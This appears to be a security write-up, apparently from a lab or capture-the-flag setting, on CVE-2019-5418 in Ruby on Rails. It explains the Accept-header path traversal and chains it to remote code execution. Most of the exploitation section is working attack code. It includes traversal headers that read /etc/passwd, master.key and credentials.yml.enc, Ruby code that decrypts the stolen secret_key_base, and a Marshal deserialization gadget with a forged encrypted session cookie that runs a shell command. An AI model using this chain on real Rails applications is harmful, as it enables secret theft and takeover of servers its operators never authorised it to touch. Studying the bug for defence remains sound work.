cve-2019-5418-ruby-on-rails-accept-header-file-disclosure-to-rce
CVE-2019-5418: Ruby on Rails Accept Header File Disclosure to RCE
CVE-2019-5418 is a critical vulnerability affecting Ruby on Rails applications running in development mode.
It allows arbitrary file read via a crafted Accept header when the application uses render file:.
When combined with Rails’ encrypted credentials and session handling, this bug can be chained into full remote code execution (RCE).
This vulnerability is especially dangerous because:
- It abuses HTTP headers, often overlooked by WAFs
- It leaks Rails secrets
- It can lead to session forgery and deserialization attacks
Affected Components
-
Ruby on Rails (development mode)
-
Controllers using:
render file: "..." -
Applications using cookie-based sessions
-
Applications with hybrid session serialization enabled
Root Cause
Trusting the Accept Header
Rails internally uses the Accept header to resolve templates and formats.
In vulnerable versions, this value is concatenated directly into a filesystem glob without sanitization.
This creates a directory traversal primitive.
Vulnerable Code:
# cve-2019-5418.rb
class UserController < ApplicationController
def index
<strong> render file: "#{Rails.root}/some/file"
</strong> end
end
Vulnerable Behavior
When Rails processes:
Accept: text/html
It effectively resolves:
app/views/controller/action.html.erb
But when an attacker supplies:
Accept: ../../../../../../../../etc/passwd{{
Rails will:
- Treat it as a valid glob
- Traverse directories
- Attempt to load arbitrary files
Exploitation Chain
This vulnerability is not standalone RCE. It becomes critical when chained properly.
Attack Flow
- Abuse
Acceptheader to read arbitrary files like so:
- We can leak
../../config/master.key{{and../../config/credentials.yml.enc{{. - Decrypt credentials using
master.keyusing following code:
require "base64"
require "openssl"
@cipher = "aes-128-gcm"
credentials = File.read("credentials.yml.enc").strip
@key = [File.read("master.key").strip].pack("H*")
puts @key.bytesize # should print 16 for aes-128-gcm
def new_cipher
OpenSSL::Cipher.new(@cipher)
end
def b64decode(s)
s = s.to_s.strip
# support urlsafe base64 too (just in case)
s = s.tr("-_", "+/")
# add missing padding
s += "=" * ((4 - s.length % 4) % 4)
Base64.strict_decode64(s)
end
def decrypt(value)
cipher = new_cipher
encrypted_b64, iv_b64, tag_b64 = value.strip.split("--", 3)
encrypted_data = b64decode(encrypted_b64)
iv = b64decode(iv_b64)
auth_tag = b64decode(tag_b64)
cipher.decrypt
cipher.key = @key
cipher.iv = iv
cipher.auth_tag = auth_tag
cipher.auth_data = ""
cipher.update(encrypted_data) + cipher.final
end
puts decrypt(credentials) ## should give us 'secret_key_base'.
- Decrypt session cookie.
- Identify serializer (
JSON,Marshal, orhybrid) - Forge a malicious session using following code (example for Marshal):
#!/usr/bin/env ruby
require 'openssl'
require 'base64'
## ========================
## === STEP 1: Build the RCE Marshal gadget (Gem::StubSpecification chain)
## ========================
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
## Your requested payload — executes this command on deserialization
stub_specification.instance_variable_set(:@loaded_from, "|/usr/local/bin/score cd295747-490c-4623-b03a-d89a4bb6193b 1>&2") # 1>&2 to see output in logs/errors if blind
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
$dependency_list = Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
## The gadget payload — Marshal-serialized object that triggers RCE on load
gadget_payload = Marshal.dump(Gem::Requirement.new)
puts "[+] Gadget built. Size: #{gadget_payload.bytesize} bytes"
## ========================
## === STEP 2: Encrypt like Rails does (AES-256-GCM)
## ========================
## REPLACE THIS with the real secret you stole via CVE-2019-5418
## (secret_key_base from credentials/master.key, or old secrets.yml)
secret_key_base = "9568c43bf9ee6f3a2363a20308318cd5d68f39881712407d871ef9409e8b8151c821e778ba99bc977e14d05bf88b6c42219358be99de0962e82ca6098888d909" # ← PUT REAL SECRET HERE!
salt = "authenticated encrypted cookie"
iterations = 1000 # Older Rails used 1000; newer use 2**16=65536 — try both if unsure
key_len = 32 # 256 bits
## Derive the encryption key (like ActiveSupport::KeyGenerator)
key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(secret_key_base, salt, iterations, key_len)
cipher = OpenSSL::Cipher.new("aes-256-gcm")
cipher.encrypt
cipher.key = key
iv = cipher.random_iv # Rails uses random IV each time
cipher.auth_data = "" # No AAD usually for cookies
## Encrypt the gadget
encrypted = cipher.update(gadget_payload) + cipher.final
auth_tag = cipher.auth_tag
## Rails cookie format: base64(ciphertext)--base64(iv)--base64(auth_tag)
cookie_value = [
Base64.strict_encode64(encrypted),
Base64.strict_encode64(iv),
Base64.strict_encode64(auth_tag)
].join("--")
puts "\n[+] Forged encrypted cookie (ready to set as _yourapp_session or similar):"
puts cookie_value
puts "\nBase64 of the whole thing (sometimes apps base64 the cookie again):"
puts Base64.encode64(cookie_value)
- Replace the session cookie that then triggers deserialization which leads to RCE.